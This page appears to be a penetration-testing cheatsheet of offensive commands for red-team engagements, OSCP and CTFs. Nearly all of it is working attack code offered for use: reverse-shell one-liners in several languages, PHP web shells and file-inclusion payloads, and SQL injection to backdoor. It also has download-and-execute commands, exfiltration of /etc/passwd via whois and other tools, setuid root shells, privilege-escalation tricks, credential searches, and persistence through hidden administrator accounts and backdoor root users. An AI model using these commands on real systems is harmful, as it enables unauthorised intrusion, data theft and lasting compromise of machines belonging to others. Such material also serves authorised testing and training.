offensive security
Pentesting Cheatsheets
Convenient commands for your pentesting / red-teaming engagements, OSCP and CTFs.
Reconnaissance / Enumeration
Extracting Live IPs from Nmap Scan
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nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips
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Simple Port Knocking
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for x in 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $x 1.1.1.1; done
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DNS lookups, Zone Transfers & Brute-Force
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whois domain.com
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dig {a|txt|ns|mx} domain.com
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dig {a|txt|ns|mx} domain.com @ns1.domain.com
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host -t {a|txt|ns|mx} megacorpone.com
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host -a megacorpone.com
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host -l megacorpone.com ns1.megacorpone.com
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dnsrecon -d megacorpone.com -t axfr @ns2.megacorpone.com
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dnsenum domain.com
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nslookup -> set type=any -> ls -d domain.com
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for sub in $(cat subdomains.txt);do host $sub.domain.com|grep "has.address";done
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Banner Grabbing
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nc -v $TARGET 80
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telnet $TARGET 80
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curl -vX $TARGET
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NFS Exported Shares
List NFS exported shares:
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showmount -e 192.168.110.102
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...and check if
'rw,no_root_squash' is present. If it is present, compile the below sid-shell.c:sid-shell.c
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#include <unistd.h>
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main( int argc, char ** argv, char ** envp )
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{
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setgid(0); setuid(0); system("/bin/bash", argv, envp);
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return 0;
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}
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...upload it to the share and execute the below to launch
sid-shell to spawn a root shell:1
chown root:root sid-shell; chmod +s sid-shell; ./sid-shell
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Kerberos Enumeration
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# users
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nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'
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HTTP Brute-Force & Vulnerability Scanning
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target=10.0.0.1; gobuster -u http://$target -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 150 -l | tee $target-gobuster
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target=10.0.0.1; nikto -h http://$target:80 | tee $target-nikto
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target=10.0.0.1; wpscan --url http://$target:80 --enumerate u,t,p | tee $target-wpscan-enum
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RPC / NetBios / SMB
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rpcinfo -p $TARGET
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nbtscan $TARGET
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#list shares
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smbclient -L //$TARGET -U ""
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# null session
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rpcclient -U "" $TARGET
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smbclient -L //$TARGET
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enum4linux $TARGET
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SNMP
1
# Windows User Accounts
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snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.25
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# Windows Running Programs
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snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.4.2.1.2
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# Windows Hostname
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snmpwalk -c public -v1 $TARGET .1.3.6.1.2.1.1.5
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# Windows Share Information
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snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.3.1.1
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# Windows Share Information
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snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.27
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# Windows TCP Ports
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snmpwalk -c public -v1 $TARGET4 1.3.6.1.2.1.6.13.1.3
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# Software Name
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snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.6.3.1.2
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# brute-force community strings
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onesixtyone -i snmp-ips.txt -c community.txt
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snmp-check $TARGET
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SMTP
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smtp-user-enum -U /usr/share/wordlists/names.txt -t $TARGET -m 150
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Active Directory
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# current domain info
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[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
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# domain trusts
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([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
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# current forest info
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[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
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# get forest trust relationships
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([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()
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# get DCs of a domain
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nltest /dclist:offense.local
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net group "domain controllers" /domain
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# get DC for currently authenticated session
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nltest /dsgetdc:offense.local
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# get domain trusts from cmd shell
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nltest /domain_trusts
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# get user info
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nltest /user:"spotless"
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# get DC for currently authenticated session
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set l
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# get domain name and DC the user authenticated to
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klist
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# get all logon sessions. Includes NTLM authenticated sessions
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klist sessions
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# kerberos tickets for the session
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klist
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# cached krbtgt
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klist tgt
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# whoami on older Windows systems
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set u
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# find DFS shares with ADModule
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Get-ADObject -filter * -SearchBase "CN=Dfs-Configuration,CN=System,DC=offense,DC=local" | select name
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# find DFS shares with ADSI
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$s=[adsisearcher]'(name=*)'; $s.SearchRoot = [adsi]"LDAP://CN=Dfs-Configuration,CN=System,DC=offense,DC=local"; $s.FindAll() | % {$_.properties.name}
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# check if spooler service is running on a host
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powershell ls "\\dc01\pipe\spoolss"
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Listen on a port (Powershell)
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# Start listener on port 443
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$listener = [System.Net.Sockets.TcpListener]443; $listener.Start();
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while($true)
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{
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$client = $listener.AcceptTcpClient();
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Write-Host $client.client.RemoteEndPoint "connected!";
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$client.Close();
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start-sleep -seconds 1;
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}
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Gaining Access
Reverse Shell One-Liners
Bash
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bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
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Perl
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perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
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URL-Encoded Perl: Linux
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echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew
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Python
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python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
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PHP
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php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
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Ruby
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ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
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Netcat without -e #1
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rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f
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Netcat without -e #2
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nc localhost 443 | /bin/sh | nc localhost 444
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telnet localhost 443 | /bin/sh | telnet localhost 444
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Java
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r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();
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XTerm
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xterm -display 10.0.0.1:1
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JDWP RCE
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print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("whoami").getInputStream())).readLine())
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Working with Restricted Shells
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# rare cases
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ssh [email protected] ls -l /tmp
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nice /bin/bash
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Interactive TTY Shells
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/usr/bin/expect sh
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1
python -c ‘import pty; pty.spawn(“/bin/sh”)’
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# execute one command with su as another user if you do not have access to the shell. Credit to g0blin.co.uk
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python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);'
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Uploading/POSTing Files Through WWW Upload Forms
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# POST file
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curl -X POST -F "[email protected]/file/location/shell.php" http://$TARGET/upload.php --cookie "cookie"
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# POST binary data to web form
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curl -F "field=<shell.zip" http://$TARGET/upld.php -F 'k=v' --cookie "k=v;" -F "submit=true" -L -v
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PUTing File on the Webhost via PUT verb
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curl -X PUT -d '<?php system($_GET["c"]);?>' http://192.168.2.99/shell.php
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Generating Payload Pattern & Calculating Offset
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/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
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/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q $EIP_VALUE
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Bypassing File Upload Restrictions
- file.php -> file.jpg
- file.php -> file.php.jpg
- file.asp -> file.asp;.jpg
- file.gif (contains php code, but starts with string GIF/GIF98)
- 00%
- file.jpg with php backdoor in exif (see below)
- .jpg -> proxy intercept -> rename to .php
Injecting PHP into JPEG
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exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' backdoor.jpeg
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exiftool “-comment<=back.php” back.png
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Uploading .htaccess to interpret .blah as .php
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AddType application/x-httpd-php .blah
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Cracking Passwords
Cracking Web Forms with Hydra
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hydra 10.10.10.52 http-post-form -L /usr/share/wordlists/list "/endpoit/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s PORT -P /usr/share/wordlists/list
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Cracking Common Protocols with Hydra
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hydra 10.10.10.52 -l username -P /usr/share/wordlists/list ftp|ssh|smb://10.0.0.1
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HashCat Cracking
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# Bruteforce based on the pattern;
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hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdout
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# Generate password candidates: wordlist + pattern;
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hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/usr/share/wordlists/rockyou.txt ?d?d?d?u?u?u --force --potfile-disable --stdout
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# Generate NetNLTMv2 with internalMonologue and crack with hashcat
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InternalMonologue.exe -Downgrade False -Restore False -Impersonate True -Verbose False -challange 002233445566778888800
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# resulting hash
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spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000
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# crack with hashcat
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hashcat -m5600 'spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000' -a 3 /usr/share/wordlists/rockyou.txt --force --potfile-disable
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Generating Payload with msfvenom
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msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.245 LPORT=443 -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai
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Compiling Code From Linux
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# Windows
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i686-w64-mingw32-gcc source.c -lws2_32 -o out.exe
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# Linux
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gcc -m32|-m64 -o output source.c
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Compiling Assembly from Windows
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# https://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D
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nasm -f win64 .\hello.asm -o .\hello.obj
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# http://www.godevtool.com/Golink.zip
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GoLink.exe -o .\hello.exe .\hello.obj
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Local File Inclusion to Shell
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nc 192.168.1.102 80
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GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
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Host: 192.168.1.102
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Connection: close
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# Then send as cmd payload via http://192.168.1.102/index.php?page=../../../../../var/log/apache2/access.log&cmd=id
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Local File Inclusion: Reading Files
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file:///etc/passwd
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http://example.com/index.php?page=php://input&cmd=ls
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POST: <?php system($_GET['cmd']); ?>
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http://192.168.2.237/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
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POST: <?php system('uname -a');die(); ?>
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expect://whoami
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http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
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http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
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http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
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http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=id
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http://10.1.1.1/index.php?page=data://text/plain,%3C?php%20system%28%22uname%20-a%22%29;%20?%3E
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# ZIP Wrapper
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echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
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zip payload.zip payload.php;
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mv payload.zip shell.jpg;
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http://example.com/index.php?page=zip://shell.jpg%23payload.php
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# Loop through file descriptors
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curl '' -H 'Cookie: PHPSESSID=df74dce800c96bcac1f59d3b3d42087d' --output -
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Remote File Inclusion Shell: Windows + PHP
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<?php system("powershell -Command \"& {(New-Object System.Net.WebClient).DownloadFile('http://10.11.0.245/netcat/nc.exe','nc.exe'); cmd /c nc.exe 10.11.0.245 4444 -e cmd.exe\" }"); ?>
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SQL Injection to Shell or Backdoor
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# Assumed 3 columns
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http://target/index.php?vulnParam=0' UNION ALL SELECT 1,"<?php system($_REQUEST['cmd']);?>",2,3 INTO OUTFILE "c:/evil.php"-- uMj
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1
# sqlmap; post-request - captured request via Burp Proxy via Save Item to File.
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sqlmap -r post-request -p item --level=5 --risk=3 --dbms=mysql --os-shell --threads 10
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1
# netcat reverse shell via mssql injection when xp_cmdshell is available
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1000';+exec+master.dbo.xp_cmdshell+'(echo+open+10.11.0.245%26echo+anonymous%26echo+whatever%26echo+binary%26echo+get+nc.exe%26echo+bye)+>+c:\ftp.txt+%26+ftp+-s:c:\ftp.txt+%26+nc.exe+10.11.0.245+443+-e+cmd';--
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SQLite Injection to Shell or Backdoor
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ATTACH DATABASE '/home/www/public_html/uploads/phpinfo.php' as pwn;
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CREATE TABLE pwn.shell (code TEXT);
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INSERT INTO pwn.shell (code) VALUES ('<?php system($_REQUEST['cmd']);?>');
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MS-SQL Console
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mssqlclient.py -port 27900 user:[email protected]
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sqsh -S 10.1.1.1 -U user -P password
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Upgradig Non-Interactive Shell
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python -c 'import pty; pty.spawn("/bin/sh")'
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/bin/busybox sh
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Python Input Code Injection
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__import__('os').system('id')
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Local Enumeration & Privilege Escalation
https://github.com/sagishahar/lpeworkshop
Check AppLocker Policies
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Get-AppLockerPolicy -Local).RuleCollections
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Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse
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reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\
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Applocker: Writable Windows Directories
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# list from https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
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C:\Windows\Tasks
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C:\Windows\Temp
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C:\windows\tracing
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C:\Windows\Registration\CRMLog
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C:\Windows\System32\FxsTmp
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C:\Windows\System32\com\dmp
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C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
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C:\Windows\System32\spool\PRINTERS
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C:\Windows\System32\spool\SERVERS
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C:\Windows\System32\spool\drivers\color
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C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
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C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
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C:\Windows\SysWOW64\FxsTmp
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C:\Windows\SysWOW64\com\dmp
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C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
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C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
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Find Writable Files/Folders in Windows
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$a = Get-ChildItem "c:\windows\" -recurse -ErrorAction SilentlyContinue
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$a | % {
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$fileName = $_.fullname
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$acls = get-acl $fileName -ErrorAction SilentlyContinue | select -exp access | ? {$_.filesystemrights -match "full|modify|write" -and $_.identityreference -match "authenticated users|everyone|$env:username"}
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if($acls -ne $null)
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{
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[pscustomobject]@{
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filename = $fileName
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user = $acls | select -exp identityreference
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}
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}
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}
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Check if Powershell Logging is Enabled
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reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
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reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
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Check WinEvent Logs for SecureString Exposure
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Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | Select-Object -Property Message | Select-String -Pattern 'SecureString'
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Check WinEvent for Machine Wake/Sleep times
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Get-WinEvent -FilterHashTable @{ ProviderName = 'Microsoft-Windows-Power-TroubleShooter' ; Id = 1 }|Select-Object -Property @{n='Sleep';e={$_.Properties[0].Value}},@{n='Wake';e={$_.Properties[1].Value}}
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Audit Policies
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auditpol /get /category:*
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Check if LSASS is running in PPL
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reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
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Binary Exploitation with ImmunityDebugger
Get Loaded Modules
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# We're interested in modules without protection, Read & Execute permissions
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!mona modules
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Finding JMP ESP Address
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!mona find -s "\xFF\xE4" -m moduleName
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Cracking a ZIP Password
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fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt bank-account.zip
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Setting up Simple HTTP server
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# Linux
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python -m SimpleHTTPServer 80
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python3 -m http.server
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ruby -r webrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
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php -S 0.0.0.0:80
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MySQL User Defined Fuction Privilge Escalation
Requires raptor_udf2.c and sid-shell.c or full raptor.tar:
sid-shell.c
151B
Binary
raptor_udf2.c
3KB
Binary
raptor.tar
30KB
Binary
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gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
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1
use mysql;
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create table npn(line blob);
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insert into npn values(load_file('/tmp/raptor_udf2.so'));
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select * from npn into dumpfile '/usr/lib/raptor_udf2.so';
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create function do_system returns integer soname 'raptor_udf2.so';
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select do_system('chown root:root /tmp/sid-shell; chmod +s /tmp/sid-shell');
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Docker Privilege Esclation
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echo -e "FROM ubuntu:14.04\nENV WORKDIR /stuff\nRUN mkdir -p /stuff\nVOLUME [ /stuff ]\nWORKDIR /stuff" > Dockerfile && docker build -t my-docker-image . && docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' && ./sh -c id && ./sh
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Resetting root Password
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echo "root:spotless" | chpasswd
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Uploading Files to Target Machine
TFTP
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#TFTP Linux: cat /etc/default/atftpd to find out file serving location; default in kali /srv/tftp
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service atftpd start
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# Windows
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tftp -i $ATTACKER get /download/location/file /save/location/file
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FTP
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# Linux: set up ftp server with anonymous logon access;
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twistd -n ftp -p 21 -r /file/to/serve
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# Windows shell: read FTP commands from ftp-commands.txt non-interactively;
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echo open $ATTACKER>ftp-commands.txt
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echo anonymous>>ftp-commands.txt
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echo whatever>>ftp-commands.txt
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echo binary>>ftp-commands.txt
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echo get file.exe>>ftp-commands.txt
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echo bye>>ftp-commands.txt
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ftp -s:ftp-commands.txt
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# Or just a one-liner
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(echo open 10.11.0.245&echo anonymous&echo whatever&echo binary&echo get nc.exe&echo bye) > ftp.txt & ftp -s:ftp.txt & nc.exe 10.11.0.245 443 -e cmd
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CertUtil
1
certutil.exe -urlcache -f http://10.0.0.5/40564.exe bad.exe
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PHP
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<?php file_put_contents("/var/tmp/shell.php", file_get_contents("http://10.11.0.245/shell.php")); ?>
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Python
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python -c "from urllib import urlretrieve; urlretrieve('http://10.11.0.245/nc.exe', 'C:\\Temp\\nc.exe')"
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HTTP: Powershell
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powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); cmd /c nc.exe $ATTACKER 4444 -e cmd.exe" }
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powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" }
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powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe')"; Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'"
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powershell (New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/file.exe','file.exe');(New-Object -com Shell.Application).ShellExecute('file.exe');
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# download using default proxy credentials and launch
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powershell -command { $b=New-Object System.Net.WebClient; $b.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; $b.DownloadString("http://$attacker/nc.exe") | Out-File nc.exe; Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" }
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HTTP: VBScript
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cscript wget.vbs http://$ATTACKER/file.exe localfile.exe
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HTTP: Linux
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wget http://$ATTACKER/file
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curl http://$ATTACKER/file -O
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scp ~/file/file.bin [email protected]$TARGET:tmp/backdoor.py
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NetCat
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# Attacker
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nc -l -p 4444 < /tool/file.exe
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# Victim
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nc $ATTACKER 4444 > file.exe
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HTTP: Windows "debug.exe" Method
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# 1. In Linux, convert binary to hex ascii:
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wine /usr/share/windows-binaries/exe2bat.exe /root/tools/netcat/nc.exe nc.txt
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# 2. Paste nc.txt into Windows Shell.
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HTTP: Windows BitsAdmin
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cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://$ATTACKER/payload.exe %tmp%\payload.exe&start %tmp%\payload.exe
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Wscript Script Code Download & Execution
cmd
code.js
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echo GetObject("script:https://bad.com/code.js") > code.js && wscript.exe code.js
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<?xml version="1.0"?>
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<package>
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<component id="PopCalc">
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<script language="JScript">
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<![CDATA[
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var r = new ActiveXObject("WScript.Shell").Run("calc");
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]]>
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</script>
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</component>
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</package>
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Whois Data Exfiltration
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# attacker
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nc -l -v -p 43 | sed "s/ //g" | base64 -d
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# victim
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whois -h $attackerIP -p 43 `cat /etc/passwd | base64`
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Cancel Data Exfiltration
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cancel -u "$(cat /etc/passwd)" -h ip:port
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rlogin Data Exfiltration
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rlogin -l "$(cat /etc/passwd)" -p port host
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Bash Ping Sweeper
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#!/bin/bash
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for lastOctet in {1..254}; do
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ping -c 1 10.0.0.$lastOctet | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &
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done
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Brute-forcing XOR'ed string with 1 byte key in Python
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encrypted = "encrypted-string-here"
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for i in range(0,255):
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print("".join([chr(ord(e) ^ i) for e in encrypted]))
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Generating Bad Character Strings
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# Python
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'\\'.join([ "x{:02x}".format(i) for i in range(1,256) ])
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# Bash
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for i in {1..255}; do printf "\\\x%02x" $i; done; echo -e "\r"
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Converting Python to Windows Executable (.py -> .exe)
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python pyinstaller.py --onefile convert-to-exe.py
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Port Scanning with NetCat
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nc -nvv -w 1 -z host 1000-2000
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nc -nv -u -z -w 1 host 160-162
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Port Scanning with Masscan
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masscan -p1-65535,U:1-65535 10.10.10.x --rate=1000 -e tun0
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Exploiting Vulnerable Windows Services: Weak Service Permissions
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# Look for SERVICE_ALL_ACCESS in the output
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accesschk.exe /accepteula -uwcqv "Authenticated Users" *
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sc config [service_name] binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= ""
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sc qc [service_name] (to verify!)
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sc start [service_name]
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Find File/Folder Permissions Explicitly Set for a Given User
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icacls.exe C:\folder /findsid userName-or-*sid /t
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//look for (F)ull, (M)odify, (W)rite
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AlwaysInstallElevated MSI
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reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated & reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
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Stored Credentials: Windows
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c:\unattend.xml
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c:\sysprep.inf
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c:\sysprep\sysprep.xml
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dir c:\*vnc.ini /s /b
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dir c:\*ultravnc.ini /s /b
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dir c:\ /s /b | findstr /si *vnc.ini
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findstr /si password *.txt | *.xml | *.ini
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findstr /si pass *.txt | *.xml | *.ini
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dir /s *cred* == *pass* == *.conf
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# Windows Autologon
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reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
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# VNC
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reg query "HKCU\Software\ORL\WinVNC3\Password"
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# Putty
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reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
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# Registry
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reg query HKLM /f password /t REG_SZ /s
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reg query HKCU /f password /t REG_SZ /s
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Unquoted Service Path
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wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
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wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" |findstr /i /v """
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Persistence via Services
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# cmd
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sc create spotlessSrv binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= ""
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# powersehll
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New-Service -Name EvilName -DisplayName EvilSvc -BinaryPathName "'C:\Program Files\NotEvil\back.exe'" -Description "Not at all"
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Port Forwarding / SSH Tunneling
SSH: Local Port Forwarding
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# Listen on local port 8080 and forward incoming traffic to REMOT_HOST:PORT via SSH_SERVER
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# Scenario: access a host that's being blocked by a firewall via SSH_SERVER;
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ssh -L 127.0.0.1:8080:REMOTE_HOST:PORT [email protected]_SERVER
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SSH: Dynamic Port Forwarding
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# Listen on local port 8080. Incoming traffic to 127.0.0.1:8080 forwards it to final destination via SSH_SERVER
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# Scenario: proxy your web traffic through SSH tunnel OR access hosts on internal network via a compromised DMZ box;
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ssh -D 127.0.0.1:8080 [email protected]_SERVER
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SSH: Remote Port Forwarding
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# Open port 5555 on SSH_SERVER. Incoming traffic to SSH_SERVER:5555 is tunneled to LOCALHOST:3389
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# Scenario: expose RDP on non-routable network;
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ssh -R 5555:LOCAL_HOST:3389 [email protected]_SERVER
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plink -R ATTACKER:ATTACKER_PORT:127.0.01:80 -l root -pw pw ATTACKER_IP
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Proxy Tunnel
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# Open a local port 127.0.0.1:5555. Incoming traffic to 5555 is proxied to DESTINATION_HOST through PROXY_HOST:3128
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# Scenario: a remote host has SSH running, but it's only bound to 127.0.0.1, but you want to reach it;
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proxytunnel -p PROXY_HOST:3128 -d DESTINATION_HOST:22 -a 5555
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ssh [email protected] -p 5555
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HTTP Tunnel: SSH Over HTTP
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# Server - open port 80. Redirect all incoming traffic to localhost:80 to localhost:22
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hts -F localhost:22 80
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# Client - open port 8080. Redirect all incoming traffic to localhost:8080 to 192.168.1.15:80
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htc -F 8080 192.168.1.15:80
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# Client - connect to localhost:8080 -> get tunneled to 192.168.1.15:80 -> get redirected to 192.168.1.15:22
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ssh localhost -p 8080
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Netsh - Windows Port Forwarding
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# requires admin
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netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
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RunAs / Start Process As
PowerShell
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# Requires PSRemoting
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$username = 'Administrator';$password = '1234test';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;Invoke-Command -Credential $credential -ComputerName COMPUTER_NAME -Command { whoami }
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# without PSRemoting
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cmd> powershell Start-Process cmd.exe -Credential (New-Object System.Management.Automation.PSCredential 'username', (ConvertTo-SecureString 'password' -AsPlainText -Force))
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# without PS Remoting, with arguments
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cmd> powershell -command "start-process cmd.exe -argumentlist '/c calc' -Credential (New-Object System.Management.Automation.PSCredential 'username',(ConvertTo-SecureString 'password' -AsPlainText -Force))"
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CMD
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# Requires interactive console
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runas /user:userName cmd.exe
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PsExec
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psexec -accepteula -u user -p password cmd /c c:\temp\nc.exe 10.11.0.245 80 -e cmd.exe
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Pth-WinExe
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pth-winexe -U user%pass --runas=user%pass //10.1.1.1 cmd.exe
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Recursively Find Hidden Files: Windows
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dir /A:H /s "c:\program files"
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General File Search
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# Query the local db for a quick file find. Run updatedb before executing locate.
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locate passwd
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# Show which file would be executed in the current environment, depending on $PATH environment variable;
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which nc wget curl php perl python netcat tftp telnet ftp
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# Search for *.conf (case-insensitive) files recursively starting with /etc;
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find /etc -iname *.conf
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Post-Exploitation & Maintaining Access
Browsing Registry Hives
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hivesh /registry/file
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Decrypting RDG Passwords
Remote Desktop Connection Manager passwords can be decrypted on the same computer/account they were encrypted:
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Copy-Item 'C:\Program Files (x86)\Microsoft\Remote Desktop Connection Manager\RDCMan.exe C:\temp\RDCMan.dll’
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Import-Module C:\temp\RDCMan.dll
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$EncryptionSettings = New-Object -TypeName RdcMan.EncryptionSettings
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[RdcMan.Encryption]::DecryptString($PwdString, $EncryptionSettings)
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Decrypting VNC Password
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wine vncpwdump.exe -k key
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Creating User and Adding to Local Administrators
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net user spotless spotless /add & net localgroup Administrators spotless /add
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Hide Newly Created Local administrator
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reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v spotless /d 0 /f
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Creating SSH Authorized Keys
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mkdir /root/.ssh 2>/dev/null; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChKCUsFVWj1Nz8SiM01Zw/BOWcMNs2Zwz3MdT7leLU9/Un4mZ7vjco0ctsyh2swjphWr5WZG28BN90+tkyj3su23UzrlgEu3SaOjVgxhkx/Pnbvuua9Qs9gWbWyRxexaC1eDb0pKXHH2Msx+GlyjfDOngq8tR6tkU8u1S4lXKLejaptiz0q6P0CcR6hD42IYkqyuWTNrFdSGLtiPCBDZMZ/5g1cJsyR59n54IpV0b2muE3F7+NPQmLx57IxoPjYPNUbC6RPh/Saf7o/552iOcmVCdLQDR/9I+jdZIgrOpstqSiJooU9+JImlUtAkFxZ9SHvtRbFt47iH7Sh7LiefP5 [email protected]' >> /root/.ssh/authorized_keys
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Creating Backdoor User w/o Password
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echo 'spotless::0:0:root:/root:/bin/bash' >> /etc/passwd
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# Rarely needed, but if you need to add a password to the previously created user by using useradd and passwd is not working. Pwd is "kali"
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sed 's/!/\$6$o1\.HFMVM$a3hY6OPT\/DiQYy4koI6Z3\/sLiltsOcFoS5yCKhBBqQLH5K1QlHKL8\/6wJI6uF\/Q7mniOdq92v6yjzlVlXlxkT\./' /etc/shadow > /etc/s2; cat /etc/s2 > /etc/shadow; rm /etc/s2
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Creating Another root User
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useradd -u0 -g0 -o -s /bin/bash -p `openssl passwd yourpass` rootuser
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Generating OpenSSL Password
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openssl passwd -1 password
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# o